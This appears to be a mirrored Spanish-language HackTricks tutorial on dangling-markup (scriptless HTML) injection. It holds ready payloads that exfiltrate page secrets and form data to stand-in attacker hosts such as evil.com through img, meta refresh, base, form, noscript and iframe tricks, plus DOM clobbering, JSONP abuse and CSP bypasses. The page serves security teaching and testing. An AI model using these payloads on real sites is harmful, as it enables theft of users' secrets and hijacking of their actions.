mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
260 lines
15 KiB
Markdown
260 lines
15 KiB
Markdown
# Dangling Markup - Inyección HTML sin script
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
## Resumen
|
||
|
||
Esta técnica se puede utilizar para extraer información de un usuario cuando se encuentra una **inyección HTML**. Esto es muy útil si **no se encuentra ninguna forma de explotar un** [**XSS** ](xss-cross-site-scripting/) pero se pueden **inyectar algunas etiquetas HTML**.\
|
||
También es útil si algún **secreto se guarda en texto claro** en el HTML y se quiere **exfiltrarlo** del cliente, o si se quiere engañar la ejecución de algún script.
|
||
|
||
Varias técnicas comentadas aquí se pueden utilizar para evitar algunas [**Políticas de Seguridad de Contenido**](content-security-policy-csp-bypass/) exfiltrando información de formas inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).
|
||
|
||
## Aplicaciones principales
|
||
|
||
### Robo de secretos en texto claro
|
||
|
||
Si se inyecta `<img src='http://evil.com/log.cgi?` cuando se carga la página, la víctima te enviará todo el código entre la etiqueta `img` inyectada y la siguiente comilla dentro del código. Si algún secreto se encuentra de alguna manera en ese fragmento, lo robarás (puedes hacer lo mismo usando una comilla doble, mira cuál podría ser más interesante de usar).
|
||
|
||
Si la etiqueta `img` está prohibida (debido a CSP, por ejemplo), también se puede usar `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||
```
|
||
<img src='http://attacker.com/log.php?HTML=
|
||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
||
```
|
||
Ten en cuenta que **Chrome bloquea las URLs HTTP** con "<" o "\n", por lo que podrías probar con otros esquemas de protocolo como "ftp".
|
||
|
||
También puedes abusar de `@import` de CSS (enviará todo el código hasta que encuentre un ";").
|
||
```markup
|
||
<style>@import//hackvertor.co.uk? <--- Injected
|
||
<b>steal me!</b>;
|
||
```
|
||
También se puede usar **`<table`**:
|
||
```bash
|
||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||
```
|
||
También se puede insertar una etiqueta `<base`. Toda la información será enviada hasta que se cierre la comilla, pero esto requiere cierta interacción del usuario (el usuario debe hacer clic en algún enlace, ya que la etiqueta base habrá cambiado el dominio al que apunta el enlace):
|
||
```markup
|
||
<base target=' <--- Injected
|
||
steal me'<b>test</b>
|
||
```
|
||
### Robando formularios
|
||
```markup
|
||
<base href='http://evil.com/'>
|
||
```
|
||
Entonces, los formularios que envían datos a una ruta (como `<form action='update_profile.php'>`) enviarán los datos al dominio malicioso.
|
||
|
||
### Robando formularios 2
|
||
|
||
Establece una cabecera de formulario: `<form action='http://evil.com/log_steal'>` esto sobrescribirá la siguiente cabecera de formulario y todos los datos del formulario serán enviados al atacante.
|
||
|
||
### Robando formularios 3
|
||
|
||
El botón puede cambiar la URL a donde se enviará la información del formulario con el atributo "formaction":
|
||
```markup
|
||
<button name=xss type=submit formaction='https://google.com'>I get consumed!
|
||
```
|
||
Un atacante puede utilizar esto para robar información.
|
||
|
||
### Robando secretos en texto claro 2
|
||
|
||
Utilizando la técnica mencionada anteriormente para robar formularios (inyectando una nueva cabecera de formulario), se puede luego inyectar un nuevo campo de entrada:
|
||
```markup
|
||
<input type='hidden' name='review_body' value="
|
||
```
|
||
y este campo de entrada contendrá todo el contenido entre sus comillas dobles y las siguientes comillas dobles en el HTML. Este ataque mezcla "_**Robo de secretos de texto claro**_" con "_**Robo de forms2**_".
|
||
|
||
Puedes hacer lo mismo inyectando un formulario y una etiqueta `<option>`. Todos los datos hasta que se encuentre un `</option>` cerrado serán enviados:
|
||
```markup
|
||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
||
```
|
||
### Inyección de parámetros de formulario
|
||
|
||
Puedes cambiar la ruta de un formulario e insertar nuevos valores para que se realice una acción inesperada:
|
||
```markup
|
||
<form action='/change_settings.php'>
|
||
<input type='hidden' name='invite_user'
|
||
value='fredmbogo'> ← Injected lines
|
||
|
||
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
|
||
...
|
||
<input type="text" name="invite_user" value=""> ← Subverted field
|
||
...
|
||
<input type="hidden" name="xsrf_token" value="12345">
|
||
...
|
||
</form>
|
||
```
|
||
### Robando secretos en texto claro a través de noscript
|
||
|
||
`<noscript></noscript>` es una etiqueta cuyo contenido será interpretado si el navegador no admite JavaScript (puede habilitar/deshabilitar JavaScript en Chrome en [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
||
|
||
Una forma de exfiltrar el contenido de la página web desde el punto de inyección hasta el final a un sitio controlado por el atacante será inyectando esto:
|
||
```markup
|
||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||
```
|
||
### Saltándose CSP con interacción del usuario
|
||
|
||
En esta investigación de [PortSwigger](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) se puede aprender que incluso en los entornos con **mayor restricción de CSP** todavía se puede **filtrar datos** con algo de **interacción del usuario**. En esta ocasión vamos a utilizar el payload:
|
||
```markup
|
||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||
<base target='
|
||
```
|
||
Ten en cuenta que pedirás al **víctima** que **haga clic en un enlace** que lo **redirigirá** a un **payload** controlado por ti. También ten en cuenta que el atributo **`target`** dentro de la etiqueta **`base`** contendrá **contenido HTML** hasta la siguiente comilla simple.\
|
||
Esto hará que el **valor** de **`window.name`** si se hace clic en el enlace sea todo ese **contenido HTML**. Por lo tanto, como **controlas la página** a la que accede la víctima al hacer clic en el enlace, puedes acceder a ese **`window.name`** y **filtrar** esos datos:
|
||
```markup
|
||
<script>
|
||
if(window.name) {
|
||
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
||
</script>
|
||
```
|
||
### Flujo de trabajo engañoso de script 1 - Ataque de espacio de nombres HTML
|
||
|
||
Inserte una nueva etiqueta con un id dentro del HTML que sobrescribirá la siguiente y con un valor que afectará el flujo de un script. En este ejemplo, se está seleccionando con quién se compartirá la información:
|
||
```markup
|
||
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
|
||
...
|
||
Share this status update with: ← Legitimate optional element of a dialog
|
||
<input id='share_with' value=''>
|
||
|
||
...
|
||
|
||
function submit_status_update() {
|
||
...
|
||
request.share_with = document.getElementById('share_with').value;
|
||
...
|
||
}
|
||
```
|
||
### Flujo de trabajo engañoso de script 2 - Ataque de espacio de nombres de script
|
||
|
||
Crea variables dentro del espacio de nombres de JavaScript insertando etiquetas HTML. Luego, esta variable afectará el flujo de la aplicación:
|
||
```markup
|
||
<img id='is_public'> ← Injected markup
|
||
|
||
...
|
||
|
||
// Legitimate application code follows
|
||
|
||
function retrieve_acls() {
|
||
...
|
||
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
|
||
is_public = true;
|
||
else
|
||
is_public = false;
|
||
}
|
||
|
||
function submit_new_acls() {
|
||
...
|
||
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
|
||
...
|
||
}
|
||
```
|
||
### Abuso de JSONP
|
||
|
||
Si encuentras una interfaz JSONP, podrías ser capaz de llamar a una función arbitraria con datos arbitrarios:
|
||
```markup
|
||
<script src='/editor/sharing.js'>: ← Legitimate script
|
||
function set_sharing(public) {
|
||
if (public) request.access_mode = AM_PUBLIC;
|
||
else request.access_mode = AM_PRIVATE;
|
||
...
|
||
}
|
||
|
||
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
|
||
set_sharing({ ... })
|
||
```
|
||
O incluso puedes intentar ejecutar algún javascript:
|
||
```markup
|
||
<script src='/search?q=a&call=alert(1)'></script>
|
||
```
|
||
### Abuso de Iframe
|
||
|
||
Ten en cuenta que un **documento secundario puede ver y establecer la propiedad de ubicación para el padre, incluso si es de origen cruzado.** Esto significa que puedes hacer que el cliente acceda a cualquier otra página cargando dentro de un **iframe** algún código como:
|
||
```markup
|
||
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
|
||
```
|
||
Esto se puede mitigar con algo como: _**sandbox=’ allow-scripts allow-top-navigation’**_
|
||
|
||
Un iframe también puede ser utilizado para filtrar información sensible de una página diferente **usando el atributo de nombre del iframe**. Esto se debe a que se puede crear un iframe que se iframe a sí mismo abusando de la inyección HTML que hace que la **información sensible aparezca dentro del atributo de nombre del iframe** y luego acceder a ese nombre desde el iframe inicial y filtrarlo.
|
||
```html
|
||
<script>
|
||
function cspBypass(win) {
|
||
win[0].location = 'about:blank';
|
||
setTimeout(()=>alert(win[0].name), 500);
|
||
}
|
||
</script>
|
||
|
||
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
|
||
```
|
||
Para obtener más información, consulte [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||
|
||
### Abuso de \<meta
|
||
|
||
Se puede utilizar **`meta http-equiv`** para realizar **varias acciones** como establecer una Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` o realizar una redirección (en este caso, en 5 segundos): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||
|
||
Esto se puede **evitar** con un **CSP** en relación con **http-equiv** (`Content-Security-Policy: default-src 'self';`, o `Content-Security-Policy: http-equiv 'self';`)
|
||
|
||
### Nuevo tag HTML \<portal>
|
||
|
||
Puede encontrar una investigación muy **interesante** sobre vulnerabilidades explotables del tag \<portal> [aquí](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||
En el momento de escribir esto, debe habilitar el tag portal en Chrome en `chrome://flags/#enable-portals` o no funcionará.
|
||
```markup
|
||
<portal src='https://attacker-server?
|
||
```
|
||
### Fugas de HTML
|
||
|
||
No todas las formas de filtrar la conectividad en HTML serán útiles para Dangling Markup, pero a veces podría ayudar. Compruébalas aquí: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||
|
||
## XS-Search
|
||
|
||
XS-Search está orientado a **filtrar información de origen cruzado** abusando de **ataques de canal lateral**. Por lo tanto, es una técnica diferente a Dangling Markup, sin embargo, algunas de las técnicas abusan de la inclusión de etiquetas HTML (con y sin ejecución de JS), como [**Inyección de CSS**](xs-search.md#css-injection) o [**Carga perezosa de imágenes**](xs-search.md#image-lazy-loading)**.**
|
||
|
||
{% content-ref url="xs-search.md" %}
|
||
[xs-search.md](xs-search.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Lista de detección de fuerza bruta
|
||
|
||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
|
||
|
||
## Referencias
|
||
|
||
Todas las técnicas presentadas aquí y más se pueden revisar con más detalles en:
|
||
|
||
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
|
||
|
||
Otras etiquetas HTML que se pueden abusar se pueden encontrar aquí:
|
||
|
||
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
|
||
|
||
Más información:
|
||
|
||
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|